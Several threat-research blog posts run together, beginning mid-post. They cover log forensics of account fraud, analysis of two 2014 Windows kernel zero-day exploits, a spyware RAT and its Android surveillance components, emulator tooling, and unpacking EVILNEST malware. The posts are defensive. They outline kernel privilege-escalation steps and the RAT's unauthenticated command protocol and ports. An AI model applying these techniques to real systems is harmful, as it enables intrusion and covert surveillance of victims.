Remote access analytics based on user activity The DFUR analyst clicked on the Application Activity tab in the User Activity Enrichment dashboard to see what actions were performed by the user while they were logged in from the suspicious IP address.
The analyst identified the user account logged in from the suspicious IP address and performed an email address change and added two (2) new bank accounts, as seen in Figure 5.
Figure 5: Application activity timeline filtered based on IP address The DFUR analyst confirmed that the two (2) bank accounts were added by the user to the care provider with organization ID 754354, as seen in Figure 6.
Figure 6: Bank accounts added and assigned to a provider By clicking on the organization ID in the Splunk results table, the DFUR analyst triggered a drill-down action to automatically open the Organization Enrichment Dashboard and populate the organization ID value with the results from the previous panel (Figure 7).
The DFUR analyst determined that the bank routing information for the new bank accounts was inconsistent with the organization’s mailing address.
Figure 7:
Organization Enrichment Dashboard The activity indicated that the attacker had access to the user’s primary email and successfully reset the DFUR account password.
The DFUR analyst confirmed that no other accounts were targeted by the suspicious IP address (Figure 8).
Figure 8: IP Address Enrichment dashboard Attack Scenario #2: Credential Stuffing Later that afternoon, the DFUR team began receiving reports of account lockouts in the patient and provider portals when users tried to login.
The security team was asked to investigate potential password attack activity on their DFUR platform.
The DFUR analyst pulled up the main monitoring and detection dashboard and scrolled down to the panel focused on identifying potential password attack activity (Figure 9).
They identified five (5) IP addresses associated with an elevated number of failed login attempts, suggesting a password spray or credential stuffing attack with varying success.
Figure 9:
Dashboard panel showing potential password attack events The DFUR analyst clicked on one of the IP addresses which triggered a drill-down action to open the IP Address Enrichment dashboard and prepopulate the IP address token value (Figure 10).
Figure 10:
IP Address Enrichment dashboard
The DFUR analyst identified more than 3,000 failed login attempts associated with the IP address with three (3) successful logins that morning.
The Remote Access Analytics panels for the IP address further showed successful logins for accounts that may have been successfully compromised and need to be reset (Figure 11).
Figure 11:
Remote access analytics for IP address Conclusion After implementing the newly developed logs and analysis capabilities and by leveraging Splunk’s security solutions, the DFUR security team drastically improved key metrics aligned with their application security missions: Identify compromise and fraud before customers report it Analyze 90% of application security events within 30 minutes Answer all investigation questions from users, compliance, and legal teams Mandiant and the whole DFUR security team hope you can use the scenarios and references in this post to improve your log analysis and how you leverage a SIEM solution in the following ways: Reflect on your current logging gaps and capabilities to improve Enhance logs from “whatever the developers implemented” to “designed to be investigated” Develop investigative workflows that are reliable and repeatable Correlate pivot points between your data sources and streamline correlation capabilities Create monitoring and alerting capabilities based on threat modeling Lower the technical barrier for comprehensive analysis Implement similar analysis capabilities to those in the “DFUR” Splunk application, linked in the References section Understand that logs can lead into better security analytics and strengthening of your security operations References For organizations that utilize Splunk security solutions as their SIEM solution, for automation, analytics or log aggregation, or want to try out for free with Splunk’s free trial download, we developed an application called “Dog and Feline Urgent Response (DFUR)” to demonstrate application log forensic analysis and dashboard pivoting concepts.
The code contains pre-indexed data and CSV files referenced by searches contained in four Splunk XML dashboards.
All data, such as IP addresses and usernames, was fabricated for the purposes of the demo and any association with organizations, users, or pets is coincidental.
Watch the recording of our SANS DFIR Summit presentation .
Download the \"DFUR\" Splunk application in FireEye GitHub .
If you need assistance investigating application attacks or developing log analysis capabilities, contact us at investigations@mandiant.com.
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The FireEye Labs team has identified two new zero-day vulnerabilities as part of limited, targeted attacks against some major corporations.
Both zero-days exploit the Windows Kernel, with Microsoft assigning CVE-2014-4148 and CVE-2014-4113 to and addressing the vulnerabilities in their October 2014 Security Bulletin .
FireEye Labs have identified 16 total zero-day attacks in the last two years – uncovering 11 in 2013 and five in 2014 so far.
Microsoft commented: “On October 14, 2014, Microsoft released MS14-058 to fully address these vulnerabilities and help protect customers.
We appreciate FireEye Labs using Coordinated Vulnerability Disclosure to assist us in working toward a fix in a collaborative manner that helps keep customers safe.”
In the case of CVE-2014-4148, the attackers exploited a vulnerability in the Microsoft Windows TrueType Font (TTF) processing subsystem, using a Microsoft Office document to embed and deliver a malicious TTF to an international organization.
Since the embedded TTF is processed in kernel-mode, successful exploitation granted the attackers kernel-mode access.
Though the TTF is delivered in a Microsoft Office document, the vulnerability does not reside within Microsoft Office.
CVE-2014-4148 impacted both 32-bit and 64-bit Windows operating systems shown in MS14-058 , though the attacks only targeted 32-bit systems.
The malware contained within the exploit has specific functions adapted to the following operating system platform categories: Windows 8.1/Windows Server 2012 R2 Windows 8/Windows Server 2012 Windows 7/Windows Server 2008 R2 (Service Pack 0 and 1)
Windows XP Service Pack 3 CVE-2014-4113 rendered Microsoft Windows 7, Vista, XP, Windows 2000, Windows Server 2003/R2, and Windows Server 2008/R2 vulnerable to a local Elevation of Privilege (EoP) attack.
This means that the vulnerability cannot be used on its own to compromise a customer’s security.
An attacker would first need to gain access to a remote system running any of the above operating systems before they could execute code within the context of the Windows Kernel.
Investigation by FireEye Labs has revealed evidence that attackers have likely used variations of these exploits for a while.
Windows 8 and Windows Server 2012 and later do not have these same vulnerabilities.
Information on the companies affected, as well as threat actors, is not available at this time.
We have no evidence of these exploits being used by the same actors.
Instead, we have only observed each exploit being used separately, in unrelated attacks.
About CVE-2014-4148 Mitigation Microsoft has released security update MS14-058 that addresses CVE-2014-4148.
Since TTF exploits target the underlying operating system, the vulnerability can be exploited through multiple attack vectors, including web pages.
In the past, exploit kit authors have converted a similar exploit (CVE-2011-3402) for use in browser-based attacks.
More information about this scenario is available under Microsoft’s response to CVE-2011-3402:
MS11-087 .
Details This TTF exploit is packaged within a Microsoft Office file.
Upon opening the file, the font will exploit a vulnerability in the Windows TTF subsystem located within the win32k.sys kernel-mode driver.
The attacker’s shellcode resides within the Font Program (fpgm) section of the TTF.
The font program begins with a short sequence of instructions that quickly return.
The remainder of the font program section is treated as unreachable code for the purposes of the font program and is ignored when initially parsing the font.
During exploitation, the attacker’s shellcode uses Asynchronous Procedure Calls (APC) to inject the second stage from kernel-mode into the user-mode process winlogon.exe (in XP) or lsass.exe (in other OSes).
From the injected process, the attacker writes and executes a third stage (executable).
The third stage decodes an embedded DLL to, and runs it from, memory.
This DLL is a full-featured remote access tool that connects back to the attacker.
Plenty of evidence supports the attacker’s high level of sophistication.
Beyond the fact that the attack is zero-day kernel-level exploit, the attack also showed the following: a usable hard-coded area of kernel memory is used like a mutex to avoid running the shellcode multiple times the exploit has an expiration date: if the current time is after October 31, 2014, the exploit shellcode will exit silently the shellcode has implementation customizations for four different types of OS platforms/service pack levels, suggesting that testing for multiple OS platforms was conducted the dropped malware individually decodes each string when that string is used to prevent analysis the dropped malware is specifically customized for the targeted environment the dropped remote access capability is full-featured and customized: it does not rely on generally available implementations (like Poison Ivy) the dropped remote access capability is a loader that decrypts the actual DLL remote access capability into memory and never writes the decrypted remote access capability to disk About CVE-2014-4113 Mitigation Microsoft has released security update MS14-058 that addresses this vulnerability.
Vulnerability and Exploit Details The 32-bit exploit triggers an out-of-bounds memory access that dereferences offsets from a high memory address, and inadvertently wraps into the null page.
In user-mode, memory dereferences within the null page are generally assumed to be non-exploitable.
Since the null page is usually not mapped – the exception being 16-bit legacy applications emulated by ntvdm.exe--null pointer dereferences will simply crash the running process.
In contrast, memory dereferences within the null page in the kernel are commonly exploited because the attacker can first map the null page from user-mode, as is the case with this exploits.
The steps taken for successful 32-bit exploitation are: Map the null page: ntdll!ZwAllocateVirtualMemory(…,BaseAddress=0x1, …)
Build a malformed win32k!tagWND structure at the null page such that it is properly validated in the kernel Trigger vulnerability Attacker’s callback in win32k!tagWND.lpfnWndProc executes in kernel-mode Callback overwrites EPROCESS.Token to elevate privileges Spawns a child process that inherits the elevated access token 32-bit Windows 8 and later users are not affected by this exploit.
The Windows 8 Null Page protection prohibits user-mode processes from mapping the null page and causes the exploits to fail.
In the 64-bit version of the exploit, dereferencing offsets from a high 32-bit memory address do not wrap, as it is well within the addressable memory range for a 64-bit user-mode process.
As such, the Null Page protection implemented in Windows versions 7 (after MS13-031) and later does not apply.
The steps taken by the 64-bit exploit variants are: Map memory page: ntdll!ZwAllocateVirtualMemory(…) Build a malformed win32k!tagWND structure at the mapped page such that it is properly validated in the kernel Trigger vulnerability Attacker’s callback in win32k!tagWND.lpfnWndProc executes in kernel-mode Callback overwrites EPROCESS.Token to elevate privileges Spawns a child process that inherits the elevated access token 64-bit Windows 8 and later users are not affected by this exploit.
Supervisor Mode Execution Prevention (SMEP) blocks the attacker’s user-mode callback from executing within kernel-mode and causes the exploits to fail.
Exploits Tool History The exploits are implemented as a command line tool that accepts a single command line argument – a shell command to execute with SYSTEM privileges.
This tool appears to be an updated version of an earlier tool.
The earlier tool exploited CVE-2011-1249, and displays the following usage message to stdout when run: Usage:system_exp.exe cmd Windows Kernel Local Privilege Exploits The vast majority of samples of the earlier tool have compile dates in December 2009.
Only two samples were discovered with compile dates in March 2011.
Although the two samples exploit the same CVE, they carry a slightly modified usage message of: Usage:local.exe cmd Windows local Exploits The most recent version of the tool, which implements CVE-2014-4113, eliminates all usage messages.
The tool appears to have gone through at least three iterations over time.
The initial tool and exploits is believed to have had limited availability, and may have been employed by a handful of distinct attack groups.
As the exploited vulnerability was remediated, someone with access to the tool modified it to use a newer exploit when one became available.
These two newer versions likely did not achieve the widespread distribution that the original tool/exploits did and may have been retained privately, not necessarily even by the same actors.
We would like to thank Barry Vengerik, Joshua Homan, Steve Davis, Ned Moran, Corbin Souffrant, Xiaobo Chen for their assistance on this research.
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FireEye recently observed a targeted attack on a U.S.-based financial institution via a spear-phishing email.
The payload used in this campaign is a tool called WinSpy, which is sold by the author as a spying and monitoring tool.
The features in this tool resemble that of many other off-the-shelf RATs (Remote Administration Tools) available today.
We also observed a second campaign by a different attacker where the WinSpy payload was implanted in macro documents to attack various other targets in what appears to be a spam campaign.
The command-and-control (CnC) infrastructure used in the attack against the financial institution is owned and controlled by author of WinSpy.
This does not necessarily mean the author is behind attack as the author provides the use of his server for command and control as well as to store the victim data as the default option in the WinSpy package.
This feature allowing shared command-and-control infrastructure advertently or inadvertently provides another level of anonymity and deniability for the attacker.
While analyzing the windows payloads for WinSpy we discovered that it also had Android spying components, which we have dubbed GimmeRat.
The Android tool has multiple components allowing the victim’s device to be controlled by another mobile device remotely over SMS messages or alternatively through a Windows-based controller.
The Windows-based controller is simplistic and requires physical access to the device.
The recent surge in Android-based RATs such as Dendroid and AndroRAT shows a spike in the interest of malicious actors to control mobile devices.
GimmeRAT is another startling example of malicious actors venturing into the Android ecosystem.
Attacks Employing WinSpy While the WinSpy tool is being sold as a spying and monitoring tool for home users, its remote administration capabilities fits the bill for an adversary looking to infiltrate a target or organization.
This tool also adds another layer of anonymity for the attacker by using the default command-and-control server provided as part of the WinSpy package.
Figure 1 - Mechanism of attack on financial institution employing WinSpy The attack targeting a U.S. financial institution arrives via a spear-phishing email.
The attachment (b430263181959f4dd681e9d5fd15d2a0) in the email is a large NSIS packed file, which when detonated launches a screenshot of a pay slip as decoy to avert the attention of the victim.
It also drops and launches various components as seen in Figure 1 and Figure 2.
Figure 2 - Components of WinSpy We observed a second attacker using WinSpy in macro documents (78fc7bccd86c645cc66b1a719b6e1258, f496bf5c7bc6843b395cc309da004345) as well as standalone executables (8859bbe7f22729d5b4a7d821cfabb044, 2b19ca87739361fa4d7ee318e6248d05).
These arrive either as an attachment or as a link to the payload in emails.
The documents had the unique metadata shown below: File Type                       : XLS MIME Type                    : application/vnd.ms-excel Author                          : MR.
FRANK
Last Modified By              : MR.
FRANK Software                        : Microsoft Excel Create Date                    : 2012:02:07 10:41:21 Modify Date                     : 2012:02:07 10:41:29 Security                          :
None Code Page                       :
Windows Latin 1 (Western European) Company                         : USER App Version                     : 11.5606
The email attacks were found to have attachment names such as Western Union Slip.xls Money Transfer Wumt.xls Wumt.xls Windows Components The WinSpy modules are written in Visual Basic and use some freely available libraries such as modJPEG.bas and cJpeg.cls .
The components each support various features as shown below.
Feature Component Webcam monitoring Webcam monitoring RDS.exe RDS.exe Screen capture & JPEG Encoder Screen capture & JPEG Encoder RDS.exe RDS.exe
Connectivity check Connectivity check RDS.exe RDS.exe
Send Victim information to CnC Send Victim information to CnC RDS.exe RDS.exe FTP exfiltration FTP exfiltration RDS.exe RDS.exe
Status Report to CnC Status Report to CnC windns.exe windns.exe Email/FTP exfiltration Email/FTP exfiltration windns.exe windns.exe AV Find and Kill AV Find and Kill windns.exe windns.exe Auto configure firewall Auto configure firewall windns.exe windns.exe Keylogging and reports Keylogging and reports messenger.exe messenger.exe Backdoor for remote interaction Backdoor for remote interaction rdbms.exe rdbms.exe Microphone recording Microphone recording rdbms.exe rdbms.exe Upload/download/execute files Upload/download/execute files rdbms.exe rdbms.exe File system browser File system browser rdbms.exe rdbms.exe Execute remote commands Execute remote commands rdbms.exe rdbms.exe Send messages to remote machine Send messages to remote machine rdbms.exe rdbms.exe
The WinSpy malware creates its configuration in the registry under \"SOFTWARE\\MSI64\" as shown in Figure 2.
The various components of WinSpy read this configuration at runtime.
This configuration dictates various settings such as the username, unique identifier, connection parameters, remote FTP server and credentials, filename and path for captured data, current status, etc.
The various options in the configuration are abbreviations.
For example \"DUNIN\" stands for date to uninstall, \"FTSV\" stands for FTP server, \"FTUS\" stands for FTP user, and so forth.
The \"SID2\" value is a unique ID used to identify the infection and is generated at build time.
Figure 3 - WinSpy Configuration
The WinSpy controller has options to create a new remote file allowing you to choose various parameters and exfiltration options.
The author interestingly allows for default command and control and exfiltration options to a server he controls.
Figure 4 - WinSpy Builder The controller has options to retrieve screenshots, keylogs, and various reports from the victim’s machine.
It also has the ability to interact with file system to upload and download files as well as execute new payloads.
Figure 5 - WinSpy Controller Figure 6 - WinSpy File Browser Command and Control
The WinSpy payloads have multiple communication methods for reporting status, attacker interaction, and data exfiltration each of which are described below.
Method 1 - I am online :
It reports back to the authors server on port 14001 to report the victim's online status with \"/P\" and it receives the same command in response to acknowledge.
Figure 7 - Online Status Method 2 - Victim Information: It also reports back to the WinSpy author’s server on port 27171 using a secondary protocol shown below.
The request contains the victim’s IP address as well as unique identifier generated at build time of the payload.
The server responds with a keep alive in response to this request.
Figure 8 - Victim Information Figure 9 - Victim information Method
3 - SMTP Exfiltration: It relays keylog data through SMTP if configured.
It relays emails through an SMTP server running on port 37 on the WinSpy author’s server using preconfigured authentication parameters.
Port 37 is typically used by NTP protocol but in this case the author has reconfigured it for SMTP relay.
The X-Mailer \"SysMon v1.0.0\" sticks out like a sore thumb.
Figure 10 - SMTP Exfiltration Method 4 - FTP Exfiltration: If configured with a custom FTP server, the WinSpy payload will upload all intercepted data and report to the remote server periodically.
The FTP credentials are stored in the registry configuration discussed earlier.
Method 5 - Direct Interaction: The rdbms.exe module listens on port 443 on the victim’s machine.
The attacker can directly connect to this port from the WinSpy controller and issue various commands to download captured data, upload/download files, execute files, send messages, view webcam feeds, etc.
Any required data transfer is done over Port 444.
It supports various commands, the significant ones are shown below.
The initial connection commands shows that the author plans to implement authentication at some point in time but as it stands now anyone can connect to an infected instance using this command.
Command Description /CLUserName.
Password.
/CLUserName.
Password.
Initialize connection from controller Initialize connection from controller /CK /CK
Acknowledge Acknowledge /CB{OptionalPath} /CB{OptionalPath} Enumerates all files in root dir or specified path Enumerates all files in root dir or specified path /CU{FilePath} /CU{FilePath} Uploads specified File Uploads specified File /CD{FilePath} /CD{FilePath}
Downloads file from specified path Downloads file from specified path /CD
\\\\\\KEYLOGS /CD
\\\\\\KEYLOGS Download keylogs Download keylogs /CD \\\\\\WEBSITED /CD \\\\\\WEBSITED Download websites visited detail report Download websites visited detail report /CD \\\\\\WEBSITES /CD
\\\\\\WEBSITES Download websites visited summary report Download websites visited summary report /CD \\\\\\ONLINETIME /CD \\\\\\ONLINETIME Download online time report Download online time report /CD \\\\\\CHATROOM /CD
\\\\\\CHATROOM Download chat logs Download chat logs /CD \\\\\\PCACTIVETIME /CD \\\\\\PCACTIVETIME Download PC active time report Download PC active time report /RF{FilePath} /RF{FilePath} Execute remote file in specified path Execute remote file in specified path /WO & /WE
/WO & /WE
Webcam init and enable Webcam init and enable /SO /SO
Start microphone recording Start microphone recording /AR{Command} /AR{Command
} Run command on remote machine Run command on remote machine /AM{Message} /AM{Message}
Sends message to remote machine Sends message to remote machine Android Components In the process of investigating the Windows modules for WinSpy we also discovered various Android components that can be employed to engage in surveillance of a target.
We have found three different applications that are a part of the surveillance package.
One of the applications requires commandeering via a windows controller and requires physical access to the device while the other two applications can be deployed in a client-server model and allow remote access through a second Android device.
Figure 11 - Deployment Scenarios for Android Components Windows Physical Controller: The Windows controller requires physical access to the device and allows the attacker to retrieve screenshots from the infected device.
This component is designed to target a victim in physical proximity.
The various options available in the Windows controller are shown in Figure
12 below.
Figure 12 - Windows Controller for Android Device The functionality and structure of the components on the victim’s device are described below in detail.
Component 1 -  GlobalService.apk Components: a.
Services Global Service b.
Methods Sleeper ScreenCapturer ServiceActivity Main activity The app is started with an intent that is provided from the desktop android executable.
The intent is a \"com.google.system.service.
StartUpReceiver\" intent with the extra field of \"interval\" which holds a string of the form “interval@@hostname@@port@@username@@password@@working_directory@@delete_after_upload” The hostname, port, username, and password are used to connect to the attackers' FTP server to send screenshots, which is explained, in a later section.
Once this intent is received the GlobalService is restarted with the interval parameter..
GlobalService This service contains the following variables private static final String TAG = \"GlobalService\"; private static boolean isScreenON; private int mInterval; private KeyguardManager mKeyGaurdManager; private BroadcastReceiver mPowerKeyReceiver; private Timer mSyncTimer; private TimerTask mSyncTimerTask; It goes on to check the value of the isScreenON variable.
If the screen is on and if the keyguard has been unlocked, it calls the startScreenCaptureThread() method.
The startScreenCaptureThread method sets the value of the mInterval variable to the value of interval passed to GlobalService.
It also sets the properties of the mSyncTimerTask to point to the takeScreenshot method from the ScreenCapturer class such that the thread, when invoked, will take a screenshot every ‘interval’ number of seconds.
The takeScreenshot method in the ScreenCapturer class connects to a native service using a local socket.
It connects to port 42345 on localhost.
The native service, which is listening on the same port, accepts strings on the socket.
The takeScreenshot method sends a string of the form ‘/data/local/tmp/images/screenshot_DATE.png’ to the underlying native service.
The native service checks for the string after the last trailing slash “/”, “screenshot” after the last trailing slash will cause the native service to take a screenshot by issuing the “screencap –p” method.
The screenshot taken will be written to the path specified by the string passed as an argument.
The takeScreenshot method then returns the path of the image to the screenCaptureThread which calls the FTPService thereby uploading the screenshot to the attackers CnC server.
Component 2 - GlobalNativeService
The native services listens on a local socket for commands from the GlobalService.apk.
As seen above, if the string after the last trailing slash is “screenshot_” is sent to the Native service through the socket.
It runs the command “screencap –p” on the shell of the device and captures a screenshot of the infected device.
The native service also implements other functionality such as deleting a file, saving FTP information to /data/local/tmp/ftpInformation.
If the string “GPSLocationInfo” is sent to the native service on the local socket, it creates GPSLocations.txt at /data/local/tmp/GPSLocations.txt
but does not save the current GPS location.
This perhaps indicates an upcoming feature.
Android Remote Controller Component 1 - GPSTracker.apk
The startup routine for the GPSTracker class is exactly the same as the one for GlobalService class.
It gets the value from an \"StartGPSTracker\" intent which holds the value for an 'interval' variable as an integer.
This app records the GPS location of the device at regular intervals (5 minutes).
It records the location only if the previous location is 200 meters apart from the current location.
When a location has to be added to the database all previous locations are deleted.
Therefore it only maintains the last known location.
This app monitors all incoming messages.
If an SMS with \"[gmyl]\"(Short for (g)ive (m)e (y)our (l)ocation) at the beginning arrives on the device, the corresponding SMS_RECEIVED intent is aborted and the database is queried.
A response SMS is crafted as shown below: \"[himl]<>DATE><LATITUDE##LONGTITUDE\" The string “himl” is short for (h)ere (i)s (m)y (l)ocation.
Only the last known location is sent as a response to the user.
Component 2 - GPSTrackerClient.apk
This app acts as the controller to the GPSTracker.apk.
While the GPSTracker.apk is installed on the victim's device, the GPSTrackerClient.apk is installed on the device from which the monitoring takes place.
It takes the phone number of the phone to be tracked and sends it an SMS that contains \"[gmyl]\".
The GPSTracker.apk then responds with the location in an SMS message as described in the above section.
It then uses the native maps functionality, i.e., Google Maps, to point to the location sent by GPSTracker.
It is also worthwhile to note that the two modules do not authenticate each other by any means therefore it allows anyone infected with GPSTracker.apk to be controlled just by sending SMS messages with a given structure.
Conclusion These attacks and tools reaffirm that we live in an age of digital surveillance and intellectual property theft.
Off-the-shelf RATs have continued to proliferate over the years and attackers have continued to increasingly use these tools.
With the widespread adoption of mobile platforms such as Android, a new market continues to emerge with the demand for RATs to support these platforms.
We will continue to see more implementations of RATs and payloads to support multiple platforms and attackers will continue to take advantage of these new attack surfaces to infiltrate their targets.
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In this post we are going to take a quick look at what it takes to write a libemu compatibility layer for the Unicorn engine.
In the course of this work, we will also import the libemu Win32 environment to run under Unicorn.
For a bit of background, libemu is a lightweight x86 emulator written in C by Paul Baecher and Markus Koetter.
It was released in 2007 and includes a built-in Win32 environment that allows shellcodes to resolve API at runtime.
The library also provides end users with a convenient way to receive callbacks when API functions are hit.
The original project supported 5 Windows dlls, 51 hooks and 234 opcodes all wrapped in a tight 1mb package.
Unfortunately it is no longer being updated.
In late 2015, we saw the Unicorn engine project released by Nguyen Anh Quynh and Dang Hoang Vu.
This project takes the processor emulators from QEMU and wraps them into an easy to use library.
Unicorn, however, does not provide a Win32 layer.
As an experiment, we were curious to see what it would take to bring the libemu Win32 environment into Unicorn.
This task actually turned out to be quite simple since it was nicely self contained.
In the process of exploring this it also made sense to write a basic shim layer to support the libemu API and translate its inner workings over to Unicorn.
Lets start with the common libemu API: The API is actually very similar to Unicorn: The major differences are that Unicorn does everything through an opaque uc_engine* handle, while libemu uses a series of structs such as emu, emu_cpu, and emu_memory: In general, the emu and emu_memory structures are passed directly as arguments to API wrappers such as emu_cpu_get, emu_memory_get and the emu_memory_read/write functions.
There is one common case of direct member access to the emu_cpu structure that requires some special attention.
This structure gives the user direct read/write access to the emulator’s virtual processor and is commonly utilized by user code.
Examples to support include: The next task was to see if we could mimic the direct access to the emu_cpu elements as if they were static struct fields.
Here we enter the world of C++ operator overloading.
With these tasks complete, porting existing code from libemu over to Unicorn should be a pretty straightforward task.
In Figure 1 we see an initial test, we put together that includes the Win32 environment, shim layer, several API hooks and a hard coded payload.
Figure 1: Initial test of the libemu Win32 environment and hooks running under Unicorn With this working, the next stage was to try it out against a larger code base.
Here we imported the userhooks.cpp from scdbg, an extension of the libemu sctest that includes some 250 API hooks.
As it turns out, very few changes were required to get it working.
In Figure 2, we can see the results of testing it against a fairly complex shellcode that: allocates virtual memory copies code to the new alloc creates a new thread downloads an executable checks the registry for the presence of Antivirus software Note that while this shellcode would normally do process injection, scdbg handles it all inline for simplified analysis.
Figure 2:
Complex shellcode running with hooks imported from scdbg Another large feature to test was the scdbg debug shell.
When testing software in an emulated environment, having interactive debug tools available is extremely handy.
Figure 3 shows an example of setting a breakpoint, single stepping, and examining memory of code running in the emulator.
Figure 3:
Imported scdbg debug shell running with Unicorn Engine and libemu shim layer Conclusion
In this article we took a quick look at the differences between the libemu and Unicorn emulators API.
This allowed us to create a shim layer to import legacy libemu code and use it with Unicorn largely unchanged.
Once the shim layer was in place, we next imported the libemu Win32 Environment so we could run it under Unicorn.
As a final test we ported several large portions of the scdbg project, which was originally written to run under libemu.
Here our previous work allowed for the importation of scdbg's 250+ API hooks and debug shell to run under Unicorn with only minimal changes.
Overall the entire process went quite smoothly and should provide benefits for developers of libemu and/or Unicorn.
If you would like to experiment for yourself you can download a copy of our test project here .
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This blog post continues the FLARE script series with a discussion of patching IDA Pro database files (IDBs) to interactively emulate code.
While the fastest way to analyze or unpack malware is often to run it, malware won’t always successfully execute in a VM.
I use IDA Pro’s Bochs integration in IDB mode to sidestep tedious debugging scenarios and get quick results.
Bochs emulates the opcodes directly from your IDB in a Bochs VM with no OS.
Bochs IDB mode eliminates distractions like switching VMs, debugger setup, neutralizing anti-analysis measures, and navigating the program counter to the logic of interest.
Alas, where there is no OS, there can be no loader or dynamic imports.
Execution is constrained to opcodes found in the IDB.
This precludes emulating routines that call imported string functions or memory allocators.
Tom Bennett’s flare-emu ships with emulated versions of these, but for off-the-cuff analysis (especially when I don’t know if there will be a payoff), I prefer interactively examining registers and memory to adjust my tactics ad hoc.
What if I could bring my own imported functions to Bochs like flare-emu does?
I’ve devised such a technique, and I call it code grafting.
In this post I’ll discuss the particulars of statically linking stand-ins for common functions into an IDB to get more mileage out of Bochs.
I’ll demonstrate using this on an EVILNEST sample to unpack and dump next-stage payloads from emulated memory.
I’ll also show how I copied a tricky call sequence from one IDB to another IDB
so I could keep the unpacking process all in a single Bochs debug session.
EVILNEST Scenario
My sample (MD5 hash 37F7F1F691D42DCAD6AE740E6D9CAB63 which is available on VirusTotal ) was an EVILNEST variant that populates the stack with configuration data before calling an intermediate payload.
Figure 1 shows this unusual call site.
Figure 1: Call site for intermediate payload The code in Figure 1 executes in a remote thread within a hollowed-out iexplore.exe process; the malware uses anti-analysis tactics as well.
I had the intermediate payload stage and wanted to unpack next-stage payloads without managing a multi-process debugging scenario with anti-analysis.
I knew I could stub out a few function calls in the malware to run all of the relevant logic in Bochs.
Here’s how I did it.
Code Carving I needed opcodes for a few common functions to inject into my IDBs and emulate in Bochs.
I built simple C implementations of selected functions and compiled them into one binary.
Figure 2 shows some of these stand-ins.
Figure 2: Simple implementations of common functions I compiled this and then used IDAPython code similar to Figure 3 to extract the function opcode bytes.
Figure 3: Function extraction I curated a library of function opcodes in an IDAPython script as shown in Figure 4.
The nonstandard function opcodes at the bottom of the figure were hand-assembled as tersely as possible to generically return specific values and manipulate the stack (or not) in conformance with calling conventions.
Figure 4: Extracted function opcodes On top of simple functions like memcpy , I implemented a memory allocator.
The allocator referenced global state data, meaning I couldn’t just inject it into an IDB and expect it to work.
I read the disassembly to find references to global operands and templatize them for use with Python’s format method.
Figure 5 shows an example for malloc .
Figure 5: HeapAlloc template code I organized the stubs by name as shown in Figure 6 both to call out functions I would need to patch, and to conveniently add more function stubs as I encounter use cases for them.
The mangled name I specified as an alias for free is operator delete .
Figure 6:
Function stubs and associated names To inject these functions into the binary, I wrote code to find the next available segment of a given size.
I avoided occupying low memory because Bochs places its loader segment below 0x10000 .
Adjacent to the code in my code  segment, I included space for the data used by my memory allocator.
Figure 7 shows the result of patching these functions and data into the IDB and naming each location (stub functions are prefixed with stub_ ).
Figure 7:
Data and code injected into IDB The script then iterates all the relevant calls in the binary and patches them with calls to their stub implementations in the newly added segment.
As shown in Figure 8, IDAPython’s Assemble function saved the effort of calculating the offset for the call operand manually.
Note that the Assemble function worked well here, but for bigger tasks, Hex-Rays recommends a dedicated assembler such as Keystone Engine and its Keypatch plugin for IDA Pro.
Figure 8:
Abbreviated routine for assembling a call instruction and patching a call site to an import The Code Grafting script updated all the relevant call sites to resemble Figure 9, with the target functions being replaced by calls to the stub
_ implementations injected earlier.
This prevented Bochs in IDB mode from getting derailed when hitting these call sites, because the call operands now pointed to valid code inside the IDB.
Figure 9: Patched operator new() call site Dealing with EVILNEST
The debug scenario for the dropper was slightly inconvenient, and simultaneously, it was setting up a very unusual call site for the payload entry point.
I used Bochs to execute the dropper until it placed the configuration data on the stack, and then I used IDAPython’s idc.get_bytes function to extract the resulting stack data.
I wrote IDAPython script code to iterate the stack data and assemble push instructions into the payload IDB leading up to a call instruction pointing to the DLL’s export.
This allowed me to debug the unpacking process from Bochs within a single session.
I clicked on the beginning of my synthesized call site and hit F4 to run it in Bochs.
I was greeted with the warning in Figure 10 indicating that the patched IDB would not match the depictions made by the debugger (which is untrue in the case of Bochs IDB mode).
Bochs faithfully executed my injected opcodes producing exactly the desired result.
Figure 10:
Patch warning I watched carefully as the instruction pointer approached and passed the IsDebuggerPresent check.
Because of the stub I injected ( stub_IsDebuggerPresent ), it passed the check returning zero as shown in Figure 11.
Figure 11:
Passing up IsDebuggerPresent I allowed the program counter to advance to address 0x1A1538 , just beyond the unpacking routine.
Figure 12 shows the register state at this point which reflects a value in EAX that was handed out by my fake heap allocator and which I was about to visit.
Figure 12: Running to the end of the unpacker and preparing to view the result Figure 13 shows that there was indeed an IMAGE_DOS_SIGNATURE (“MZ”) at this location.
I used idc.get_bytes() to dump the unpacked binary from the fake heap location and saved it for analysis.
Figure 13: Dumping the unpacked binary Through Bochs IDB mode, I was also able to use the interactive debugger interface of IDA Pro to experiment with manipulating execution and traversing a different branch to unpack another payload for this malware as well.
Conclusion Although dynamic analysis is sometimes the fastest road, setting it up and navigating minutia detract from my focus, so I’ve developed an eye for routines that I can likely emulate in Bochs to dodge those distractions while still getting answers.
Injecting code into an IDB broadens the set of functions that I can do this with, letting me get more out of Bochs.
This in turn lets me do more on-the-fly experimentation, one-off string decodes, or validation of hypotheses before attacking something at scale.
It also allows me to experiment dynamically with samples that won’t load correctly anyway, such as unpacked code with damaged or incorrect PE headers.
I’ve shared the Code Grafting tools as part of the flare-ida GitHub repository .
To use this for your own analyses: In IDA Pro’s IDAPython prompt, run code_grafter.py or import it as a module.
Instantiate a CodeGrafter object and invoke its graftCodeToIdb() method: CodeGrafter().graftCodeToIdb() Use Bochs in IDB mode to conveniently execute your modified sample and experiment away!
This post makes it clear just how far I’ll go to avoid breaking eye contact with IDA.
If you’re a fan of using Bochs with IDA too, then this is my gift to you.
Enjoy!
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When scammers target gamers, they are typically pursuing gaming accounts.
Today, we’re discussing a different target: players’ gold.
As games go, the massively popular World of Warcraft sees scammers target players on a regular basis, one day threatening them with a ban for alleged cheating , the next seeming to offer virtual pets (but not really; it’s a scam, after all).
A user nicknamed Legitamasterr posted on Reddit in late May, describing an original scam used at the World of Warcraft Classic Auction House.
The player, who was trying to buy a stack of Chronoboon Displacers for 66 gold coins, instead had more than 11,000 gold coins deducted from his account.
He had become a victim of a malicious script in an add-on he had installed.
Here is how to protect yourself and avoid a similar fate in World of Warcraft Classic .
What are World of Warcraft add-ons for?
Add-ons are useful and sometimes indispensable in World of Warcraft .
With them, you can customize the interface, filter out in-game chat spam, and do much more.
For example, a popular add-on called WeakAuras can help you set up convenient access to information such as the amount of time before a boss’ next high-damage attack, a warning that you are under a curse that inflicts damage to nearby players, the mana reserve levels of raid healers, and so on.
